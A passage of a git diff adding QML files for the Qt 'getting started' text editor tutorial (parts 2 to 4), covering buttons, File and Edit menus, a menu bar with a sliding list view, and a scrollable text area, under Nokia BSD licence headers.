+ buttonColor : menuListView.currentIndex == 1? editColor : Qt.darker(editColor, 1.5)
+ scale: menuListView.currentIndex == 1? 1.25: 1
+ label: "Edit"
+ radius: 1
+
+ //on a button click, change the list's currently selected item to EditMenu
+ onButtonClick: {
+ menuListView.currentIndex = 1
+ }
+
+
+ }
+
+
+ }
+ }
+
+ //a list of visual items already have delegates handling their display
+ VisualItemModel{
+ id: menuListModel
+
+ FileMenu{
+ width: menuListView.width
+ height: menuBar.height
+ color: fileColor
+ }
+ EditMenu{
+ color: editColor
+ width: menuListView.width
+ height: menuBar.height
+
+ }
+ }
+
+ //list view will display a model according to a delegate
+ ListView{
+ id: menuListView
+ anchors.fill:parent
+ anchors.bottom: parent.bottom
+ width:parent.width
+ height: parent.height
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/pics/qml-texteditor2_menubar.png b/examples/tutorials/gettingStarted/gsQml/parts/part2/pics/qml-texteditor2_menubar.png
new file mode 100644
index 00000000..da959a34
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/pics/qml-texteditor2_menubar.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part2/qml-texteditor2.qmlproject b/examples/tutorials/gettingStarted/gsQml/parts/part2/qml-texteditor2.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part2/qml-texteditor2.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/Button.qml
new file mode 100644
index 00000000..4162c94d
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/Button.qml
@@ -0,0 +1,99 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: button
+
+ property string label: "button label"
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "gold"
+ property color borderColor: "white"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ //set appearance properties
+ radius:10
+ smooth: true
+ border{color: "white"; width: 3}
+ width: buttonWidth; height: buttonHeight
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+ onButtonClick: {
+ console.log(buttonLabel.text + " clicked" )
+ }
+
+ //define the clickable area to be the whole rectangle
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/EditMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/EditMenu.qml
new file mode 100644
index 00000000..65956663
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/EditMenu.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property string menuName:"Edit"
+
+ Rectangle{
+ id:actionContainer
+ color:"transparent"
+ anchors.centerIn: parent
+
+ width: parent.width; height: parent.height / 5
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Cut"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Paste"
+ }
+ Button{
+ id: exitButton
+ label: "Select All"
+ buttonColor: "darkgrey"
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/FileMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/FileMenu.qml
new file mode 100644
index 00000000..694f4857
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/FileMenu.qml
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: fileMenu
+
+ //the menuName is accessible from outside this QML file
+ property string menuName: "File"
+
+ //generous amount of screen space that will allow the buttons to fit
+ height: 480; width:1000
+
+ color: "#6C646A"
+
+ //a sub-rectangle allows the flexibility of setting the row area
+ Rectangle{
+ id:actionContainer
+
+ //make this rectangle invisible
+ color:"transparent"
+ anchors.centerIn: parent
+
+ //the height is a good proportion that creates more space at the top of the row of buttons
+ width: parent.width; height: parent.height / 5
+
+ Row{
+ anchors.centerIn: parent
+ spacing: parent.width/6
+ Button{
+ id: loadButton
+ buttonColor: "lightgrey"
+ label: "Load"
+ }
+
+ Button{
+ buttonColor: "grey"
+ id: saveButton
+ label: "Save"
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ buttonColor: "darkgrey"
+
+ //exit the application if the exitButton is clicked
+ onButtonClick:{
+ Qt.quit()
+ }
+ }
+ }
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/MenuBar.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/MenuBar.qml
new file mode 100644
index 00000000..fe115622
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/MenuBar.qml
@@ -0,0 +1,140 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: menuBar
+ width: 1000
+ height:300
+
+ property color fileColor: "thistle"
+ property color editColor: "powderblue"
+
+ //container for the header and the buttons
+ Rectangle{
+
+ id: labelList
+ height:parent.height/10
+ width: parent.width
+ color: "steelblue"
+
+ //default z is 0, items with higher z values are shown on top of items with lower z values
+ z: 1
+
+ //row displays its children in a vertical row
+ Row{
+ anchors.centerIn: parent
+ spacing:40
+ Button{
+ height: 20
+ width: 50
+ label: "File"
+ id: fileButton
+ buttonColor : menuListView.currentIndex == 0? fileColor : Qt.darker(fileColor, 1.5)
+ scale: menuListView.currentIndex == 0? 1.25: 1
+ radius: 1
+
+ //on a button click, change the list's currently selected item to FileMenu
+ onButtonClick: {
+ menuListView.currentIndex = 0
+ }
+ }
+ Button{
+ height: 20
+ width: 50
+ id: editButton
+ buttonColor : menuListView.currentIndex == 1? editColor : Qt.darker(editColor, 1.5)
+ scale: menuListView.currentIndex == 1? 1.25: 1
+ label: "Edit"
+ radius: 1
+
+ //on a button click, change the list's currently selected item to EditMenu
+ onButtonClick: {
+ menuListView.currentIndex = 1
+ }
+
+
+ }
+
+
+ }
+ }
+
+ //a list of visual items already have delegates handling their display
+ VisualItemModel{
+ id: menuListModel
+
+ FileMenu{
+ width: menuListView.width
+ height: menuBar.height
+ color: fileColor
+ }
+ EditMenu{
+ color: editColor
+ width: menuListView.width
+ height: menuBar.height
+
+ }
+ }
+
+ //list view will display a model according to a delegate
+ ListView{
+ id: menuListView
+ anchors.fill:parent
+ anchors.bottom: parent.bottom
+ width:parent.width
+ height: parent.height
+
+ //the model contains the data
+ model: menuListModel
+
+ //control the movement of the menu switching
+ snapMode: ListView.SnapOneItem
+ orientation: ListView.Horizontal
+ boundsBehavior: Flickable.StopAtBounds
+ flickDeceleration: 5000
+ highlightFollowsCurrentItem: true
+ highlightMoveDuration:240
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/TextArea.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/TextArea.qml
new file mode 100644
index 00000000..892271d8
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/TextArea.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id:textArea
+
+ width :400
+ height:400
+ color: "white"
+
+ Flickable{
+ id: flickArea
+
+ width: parent.width
+ height: parent.height
+ anchors.fill:parent
+
+ function ensureVisible(r){
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit{
+ id: textEditor
+ anchors.fill:parent
+ width:parent.width; height:parent.height
+ color:"midnightblue"
+ focus: true
+
+ wrapMode: TextEdit.Wrap
+
+ onCursorRectangleChanged: flickArea.ensureVisible(cursorRectangle)
+ }
+ }
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/TextEditor.qml b/examples/tutorials/gettingStarted/gsQml/parts/part3/TextEditor.qml
new file mode 100644
index 00000000..c2af3f32
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/TextEditor.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ id: screen
+ width: 1000; height: 1000
+ border.color:"black"
+ //the screen is partitioned into the MenuBar and TextArea. 1/3 of the screen is assigned to the MenuBar
+ property int partition: height/3
+
+ MenuBar{
+ id:menuBar
+ height: partition
+ width:parent.width
+ z: 1
+ }
+
+
+ TextArea{
+ id:textArea
+ anchors.bottom:parent.bottom
+ y: partition
+ color: "azure"
+ height: partition*2
+ width:parent.width
+ }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/images/arrow.png b/examples/tutorials/gettingStarted/gsQml/parts/part3/images/arrow.png
new file mode 100644
index 00000000..14978c2e
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/images/arrow.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/pics/qml-texteditor3_texteditor.png b/examples/tutorials/gettingStarted/gsQml/parts/part3/pics/qml-texteditor3_texteditor.png
new file mode 100644
index 00000000..d0623b5a
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/pics/qml-texteditor3_texteditor.png
Binary files differ
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part3/qml-texteditor3.qmlproject b/examples/tutorials/gettingStarted/gsQml/parts/part3/qml-texteditor3.qmlproject
new file mode 100644
index 00000000..d4909f86
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part3/qml-texteditor3.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "."
+ }
+ JavaScriptFiles {
+ directory: "."
+ }
+ ImageFiles {
+ directory: "."
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/Button.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/Button.qml
new file mode 100644
index 00000000..19291dff
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/Button.qml
@@ -0,0 +1,109 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+ //identifier of the item
+ id: button
+
+ //these properties act as constants, useable outside this QML file
+ property int buttonHeight: 75
+ property int buttonWidth: 150
+
+ //attaches to the Text element's text content
+ property string label
+ property color textColor: buttonLabel.color
+
+ //the color highlight when the mouse hovers on the rectangle
+ property color onHoverColor: "gold"
+ property color borderColor: "white"
+
+ //buttonColor is set to the button's main color
+ property color buttonColor: "lightblue"
+
+ //set appearance properties
+ radius:10
+ smooth: true
+ border.color: "white"
+ border.width: 3
+ width: buttonWidth; height: buttonHeight
+
+ Text{
+ id: buttonLabel
+ anchors.centerIn: parent
+ text: label //"button label" //bind the text to the parent's text
+ }
+
+ //buttonClick() is callable and a signal handler, onButtonClick is automatically created
+ signal buttonClick()
+ onButtonClick: {
+ console.log(buttonLabel.text + " clicked" )
+ }
+
+ //define the clickable area to be the whole rectangle
+ MouseArea{
+ id: buttonMouseArea
+ anchors.fill: parent //stretch the area to the parent's dimension
+ onClicked: buttonClick()
+
+ //if true, then onEntered and onExited called if mouse hovers in the mouse area
+ //if false, a button must be clicked to detect the mouse hover
+ hoverEnabled: true
+
+ //display a border if the mouse hovers on the button mouse area
+ onEntered: parent.border.color = onHoverColor
+ //remove the border if the mouse exits the button mouse area
+ onExited: parent.border.color = borderColor
+
+ }
+
+ //change the color of the button when pressed
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+ //animate the color whenever the color property changes
+ Behavior on color { ColorAnimation{ duration: 55} }
+
+ //scale the button when pressed
+ scale: buttonMouseArea.pressed ? 1.1 : 1.00
+ //Animate the scale property change
+ Behavior on scale { NumberAnimation{ duration: 55} }
+
+}
diff --git a/examples/tutorials/gettingStarted/gsQml/parts/part4/EditMenu.qml b/examples/tutorials/gettingStarted/gsQml/parts/part4/EditMenu.qml
new file mode 100644
index 00000000..08c466ae
--- /dev/null
+++ b/examples/tutorials/gettingStarted/gsQml/parts/part4/EditMenu.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: editMenu
+ height: 480; width:1000
+ color: "powderblue"
+ property string menuName:"Edit"
+ gradient: Gradient{
+ GradientStop { position: 0.0; color: "#6A6F70" }
+ GradientStop { position: 1.0; color: Qt.darker("#6A6D67") }
+ }
+
+ Rectangle{
+ id:actionContainer
